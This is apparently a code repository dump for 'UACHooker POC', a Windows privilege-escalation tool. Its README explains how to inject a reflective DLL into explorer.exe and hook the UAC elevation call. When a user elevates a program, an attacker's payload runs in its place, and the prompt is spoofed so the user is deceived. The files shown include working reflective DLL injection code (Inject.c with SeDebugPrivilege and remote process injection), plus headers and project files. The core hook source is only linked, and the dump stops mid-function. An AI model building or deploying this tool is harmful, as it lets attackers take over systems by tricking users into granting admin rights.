├── pwsh.PNG
├── unsigned.PNG
├── UACHookerDll
├── detours.lib
├── dllmain.cpp
├── UACHookerDll.cpp
├── ReflectiveDll.c
├── UACHookerDll.vcxproj.filters
├── FindLaunchAdminFunc.h
├── ReflectiveDLLInjection.h
├── FindLaunchAdminFunc.cpp
├── ReflectiveLoader.h
├── UACHookerDll.vcxproj
├── ReflectiveLoader.c
└── detours.h
├── inject
├── GetProcAddressR.exe
├── inject.sln
├── inject.vcxproj.filters
├── src
│ ├── GetProcAddressR.h
│ ├── LoadLibraryR.h
│ ├── ReflectiveDLLInjection.h
│ ├── Inject.c
│ ├── GetProcAddressR.c
│ └── LoadLibraryR.c
├── inject.vcproj
└── inject.vcxproj
├── README.md
├── UACHookerDll.sln
└── .gitignore
/pwsh.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/pwsh.PNG
--------------------------------------------------------------------------------
/unsigned.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/unsigned.PNG
--------------------------------------------------------------------------------
/UACHookerDll/detours.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/UACHookerDll/detours.lib
--------------------------------------------------------------------------------
/UACHookerDll/dllmain.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/UACHookerDll/dllmain.cpp
--------------------------------------------------------------------------------
/inject/GetProcAddressR.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/inject/GetProcAddressR.exe
--------------------------------------------------------------------------------
/UACHookerDll/UACHookerDll.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/UACHookerDll/UACHookerDll.cpp
--------------------------------------------------------------------------------
/inject/inject.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 10.00
3 | # Visual C++ Express 2008
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
13 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
14 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32
15 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/UACHookerDll/ReflectiveDll.c:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // This is a stub for the actuall functionality of the DLL.
3 | //===============================================================================================//
4 | #include "ReflectiveLoader.h"
5 |
6 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
7 | extern HINSTANCE hAppInstance;
8 | //===============================================================================================//
9 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
10 | {
11 | BOOL bReturnValue = TRUE;
12 | switch( dwReason )
13 | {
14 | case DLL_QUERY_HMODULE:
15 | if( lpReserved != NULL )
16 | *(HMODULE *)lpReserved = hAppInstance;
17 | break;
18 | case DLL_PROCESS_ATTACH:
19 | hAppInstance = hinstDLL;
20 | MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
21 | break;
22 | case DLL_PROCESS_DETACH:
23 | case DLL_THREAD_ATTACH:
24 | case DLL_THREAD_DETACH:
25 | break;
26 | }
27 | return bReturnValue;
28 | }
--------------------------------------------------------------------------------
/inject/inject.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 |
14 |
15 | Source Files
16 |
17 |
18 | Source Files
19 |
20 |
21 | Source Files
22 |
23 |
24 |
25 |
26 | Header Files
27 |
28 |
29 | Header Files
30 |
31 |
32 | Header Files
33 |
34 |
35 |
--------------------------------------------------------------------------------
/UACHookerDll/UACHookerDll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 |
14 |
15 | Header Files
16 |
17 |
18 | Header Files
19 |
20 |
21 | Header Files
22 |
23 |
24 | Header Files
25 |
26 |
27 |
28 |
29 | Source Files
30 |
31 |
32 | Source Files
33 |
34 |
35 | Source Files
36 |
37 |
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # UACHooker POC
2 | Reflective DLL that hooks the AicLaunchAdminProcess function used in the explorer.exe for privilege escalation by hijacking the UAC prompt to trick the user. Copy your payload to "C:\Windows\Temp\test.exe" (currently hardcoded).
3 |
4 | `inject.exe (ps -name explorer).id UACHookerDll.dll`
5 |
6 | Whenever the user tries to open powershell or cmd as admin, it will append to the arguments to execute the payload instead. The user can still see the suspicious arguments if "Show more details" is clicked, but who does that?
7 | 
8 | Whenever the user tries to open any other program as admin, it will instead rename the payload to the same name as the original, set the arguments to the same as the original,
9 | and execute the payload instead. The "Program location" field displayed when the user clicks "Show more details" shows the arguments
10 | to the program, with the assumption that the first argument is the path, but of course this can be spoofed.
11 | For an unsigned .exe, the malicious UAC prompt will be indistinguishable from the real one! For whatever reason, there is no way to view the real path to the exe in the UAC prompt.
12 | I have informed Microsoft, but they do not consider this a vulnerability.
13 | 
14 |
15 | *It's actually C:\Windows\Temp\test.exe not C:\Users\Test\Downloads\unetbootin.exe!*
16 | # Future
17 | Currently, only Detours can be used for the hooking. However, Polyhook2 will be supported as well in the future.
18 | Currently a POC, but a full fledged version is in the works.
19 | Also, investigate targets beyond explorer.exe.
20 |
--------------------------------------------------------------------------------
/UACHookerDll/FindLaunchAdminFunc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | //disable nonmeaningful warnings.
5 | #pragma warning(push)
6 | //#pragma warning(disable: 4005) // macro redefinition
7 | //#pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s
8 | //#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
9 | //#pragma comment(lib, "ntdll.lib")
10 | #pragma warning(disable: 4005) // macro redefinition
11 | #pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s
12 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
13 |
14 | #include
15 | #include
16 | #include
17 | //typedef PIMAGE_NT_HEADERS(NTAPI* RTLIMAGENTHEADER)(PVOID);
18 | //HINSTANCE hNtdll = GetModuleHandleA("ntdll.dll");
19 | //RTLIMAGENTHEADER RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
20 | //
21 | //typedef NTSTATUS(NTAPI* RTLGETVERSION)(PRTL_OSVERSIONINFOW);
22 | //RTLGETVERSION RtlGetVersion = (RTLGETVERSION)GetProcAddress(hNtdll, "RtlGetVersion");
23 |
24 |
25 | #define _NTDEF_
26 | //#include
27 | #undef _NTDEF_
28 |
29 | #ifndef PAGE_SIZE
30 | #define PAGE_SIZE 0x1000ull
31 | #endif
32 |
33 | #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
34 |
35 |
36 | typedef ULONG ELEVATION_REASON;
37 |
38 | #define ALIGN_UP_BY(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1))
39 |
40 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
41 | ULONG_PTR AicFindLaunchAdminProcess(
42 | _Out_ PNTSTATUS StatusCode);
43 |
44 | #define SUCCESS 0L
45 | #define FAILURE_NULL_ARGUMENT 1L
46 | #define FAILURE_API_CALL 2L
47 | #define FAILURE_INSUFFICIENT_BUFFER 3L
48 | #define MAX_PATH_LEN 260
49 | #define MAX_ARGS_LEN 32768
50 | #define UNICODE
--------------------------------------------------------------------------------
/UACHookerDll.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30717.126
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UACHookerDll", "UACHookerDll\UACHookerDll.vcxproj", "{EF5C3745-7668-4A4B-92E9-1F53248F0EC5}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x64.ActiveCfg = Debug|x64
19 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x64.Build.0 = Debug|x64
20 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x86.ActiveCfg = Debug|Win32
21 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x86.Build.0 = Debug|Win32
22 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x64.ActiveCfg = Release|x64
23 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x64.Build.0 = Release|x64
24 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x86.ActiveCfg = Release|Win32
25 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x86.Build.0 = Release|Win32
26 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Debug|x64
27 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Debug|x64
28 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x86.ActiveCfg = Debug|Win32
29 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x86.Build.0 = Debug|Win32
30 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64
31 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64
32 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x86.ActiveCfg = Release|Win32
33 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {68E63764-6556-43E4-9274-C8EC0299BED0}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/inject/src/GetProcAddressR.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
30 | //===============================================================================================//
31 | #include "ReflectiveDLLInjection.h"
32 |
33 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
34 | //===============================================================================================//
35 | #endif
36 | //===============================================================================================//
37 |
--------------------------------------------------------------------------------
/inject/src/LoadLibraryR.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
30 | //===============================================================================================//
31 | #include "ReflectiveDLLInjection.h"
32 |
33 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
34 |
35 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
36 |
37 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
38 |
39 | //===============================================================================================//
40 | #endif
41 | //===============================================================================================//
42 |
--------------------------------------------------------------------------------
/UACHookerDll/ReflectiveDLLInjection.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 |
34 | // we declare some common stuff in here...
35 |
36 | #define DLL_QUERY_HMODULE 6
37 |
38 | #define DEREF( name )*(UINT_PTR *)(name)
39 | #define DEREF_64( name )*(DWORD64 *)(name)
40 | #define DEREF_32( name )*(DWORD *)(name)
41 | #define DEREF_16( name )*(WORD *)(name)
42 | #define DEREF_8( name )*(BYTE *)(name)
43 |
44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
46 |
47 | #define DLLEXPORT __declspec( dllexport )
48 |
49 | //===============================================================================================//
50 | #endif
51 | //===============================================================================================//
52 |
--------------------------------------------------------------------------------
/inject/src/ReflectiveDLLInjection.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 |
34 | // we declare some common stuff in here...
35 |
36 | #define DLL_METASPLOIT_ATTACH 4
37 | #define DLL_METASPLOIT_DETACH 5
38 | #define DLL_QUERY_HMODULE 6
39 |
40 | #define DEREF( name )*(UINT_PTR *)(name)
41 | #define DEREF_64( name )*(DWORD64 *)(name)
42 | #define DEREF_32( name )*(DWORD *)(name)
43 | #define DEREF_16( name )*(WORD *)(name)
44 | #define DEREF_8( name )*(BYTE *)(name)
45 |
46 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
47 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
48 |
49 | #define DLLEXPORT __declspec( dllexport )
50 |
51 | //===============================================================================================//
52 | #endif
53 | //===============================================================================================//
54 |
--------------------------------------------------------------------------------
/inject/src/Inject.c:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #define WIN32_LEAN_AND_MEAN
29 | #include
30 | #include
31 | #include
32 | #include "LoadLibraryR.h"
33 |
34 | #pragma comment(lib,"Advapi32.lib")
35 |
36 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
37 |
38 | // Simple app to inject a reflective DLL into a process vis its process ID.
39 | int main( int argc, char * argv[] )
40 | {
41 | HANDLE hFile = NULL;
42 | HANDLE hModule = NULL;
43 | HANDLE hProcess = NULL;
44 | HANDLE hToken = NULL;
45 | LPVOID lpBuffer = NULL;
46 | DWORD dwLength = 0;
47 | DWORD dwBytesRead = 0;
48 | DWORD dwProcessId = 0;
49 | TOKEN_PRIVILEGES priv = {0};
50 |
51 | #ifdef WIN_X64
52 | char * cpDllFile = "reflective_dll.x64.dll";
53 | #else
54 | #ifdef WIN_X86
55 | char * cpDllFile = "reflective_dll.dll";
56 | #else WIN_ARM
57 | char * cpDllFile = "reflective_dll.arm.dll";
58 | #endif
59 | #endif
60 |
61 | do
62 | {
63 | // Usage: inject.exe [pid] [dll_file]
64 |
65 | if( argc == 1 )
66 | dwProcessId = GetCurrentProcessId();
67 | else
68 | dwProcessId = atoi( argv[1] );
69 |
70 | if( argc >= 3 )
71 | cpDllFile = argv[2];
72 |
73 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
74 | if( hFile == INVALID_HANDLE_VALUE )
75 | BREAK_WITH_ERROR( "Failed to open the DLL file" );
76 |
77 | dwLength = GetFileSize( hFile, NULL );
78 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
79 | BREAK_WITH_ERROR( "Failed to get the DLL file size" );
80 |
81 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
82 | if( !lpBuffer )
83 | BREAK_WITH_ERROR( "Failed to get the DLL file size" );
84 |
85 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
86 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
87 |
88 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
89 | {
90 | priv.PrivilegeCount = 1;
91 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
92 |
93 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
94 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
95 |
96 | CloseHandle( hToken );
97 | }
98 |
99 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
100 | if( !hProcess )
101 | BREAK_WITH_ERROR( "Failed to open the target process" );
102 |
103 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
104 | if( !hModule )
105 | BREAK_WITH_ERROR( "Failed to inject the DLL" );
106 |
107 | printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
108 |
109 | WaitForSingleObject( hModule, -1 );
110 |
111 | } while( 0 );
112 |
113 | if( lpBuffer )
114 | HeapFree( GetProcessHeap(), 0, lpBuffer );
115 |
116 | if( hProcess )
117 | CloseHandle( hProcess );
118 |
119 | return 0;
120 | }
--------------------------------------------------------------------------------
/inject/src/GetProcAddressR.c:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "GetProcAddressR.h"
29 | //===============================================================================================//
30 | // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
31 | // wont be able to resolve exported addresses in reflectivly loaded librarys.
32 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
33 | {
